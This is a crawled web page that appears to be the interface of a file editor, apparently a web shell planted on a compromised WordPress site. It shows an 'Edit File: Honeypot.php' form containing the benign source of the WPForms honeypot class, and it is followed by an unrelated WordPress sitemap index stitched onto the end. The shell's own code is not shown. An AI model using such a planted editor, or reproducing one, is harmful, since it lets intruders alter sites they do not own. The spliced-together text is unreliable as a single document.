
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: Honeypot.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php

namespace WPForms\Forms;

/**
 * Class Honeypot.
 *
 * @since 1.6.2
 */
class Honeypot {

	/**
	 * Initialise the actions for the Honeypot.
	 *
	 * @since 1.6.2
	 */
	public function init() {

		$this-&gt;hooks();
	}

	/**
	 * Register hooks.
	 *
	 * @since 1.6.2
	 */
	public function hooks() {

		add_action( &#039;wpforms_frontend_output&#039;, [ $this, &#039;render&#039; ], 15, 5 );
	}

	/**
	 * Return function to render the honeypot.
	 *
	 * @since 1.6.2
	 *
	 * @param array $form_data Form data and settings.
	 */
	public function render( $form_data ) {

		if (
			empty( $form_data[&#039;settings&#039;][&#039;honeypot&#039;] ) ||
			&#039;1&#039; !== $form_data[&#039;settings&#039;][&#039;honeypot&#039;]
		) {
			return;
		}

		$names = [ &#039;Name&#039;, &#039;Phone&#039;, &#039;Comment&#039;, &#039;Message&#039;, &#039;Email&#039;, &#039;Website&#039; ];

		echo &#039;&lt;div class=&quot;wpforms-field wpforms-field-hp&quot;&gt;&#039;;

		echo &#039;&lt;label for=&quot;wpforms-&#039; . $form_data[&#039;id&#039;] . &#039;-field-hp&quot; class=&quot;wpforms-field-label&quot;&gt;&#039; . $names[ array_rand( $names ) ] . &#039;&lt;/label&gt;&#039;; // phpcs:ignore

		echo &#039;&lt;input type=&quot;text&quot; name=&quot;wpforms[hp]&quot; id=&quot;wpforms-&#039; . $form_data[&#039;id&#039;] . &#039;-field-hp&quot; class=&quot;wpforms-field-medium&quot;&gt;&#039;;  // phpcs:ignore

		echo &#039;&lt;/div&gt;&#039;;
	}

	/**
	 * Validate honeypot.
	 *
	 * @since 1.6.2
	 *
	 * @param array $form_data Form data.
	 * @param array $fields    Fields.
	 * @param array $entry     Form entry.
	 *
	 * @return bool|string False or an string with the error.
	 */
	public function validate( array $form_data, array $fields, array $entry ) {

		$honeypot = false;

		if (
			! empty( $form_data[&#039;settings&#039;][&#039;honeypot&#039;] ) &amp;&amp;
			&#039;1&#039; === $form_data[&#039;settings&#039;][&#039;honeypot&#039;] &amp;&amp;
			! empty( $entry[&#039;hp&#039;] )
		) {
			$honeypot = esc_html__( &#039;WPForms honeypot field triggered.&#039;, &#039;wpforms-lite&#039; );
		}

		return apply_filters( &#039;wpforms_process_honeypot&#039;, $honeypot, $fields, $entry, $form_data );
	}
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://looker.af/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://looker.af/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
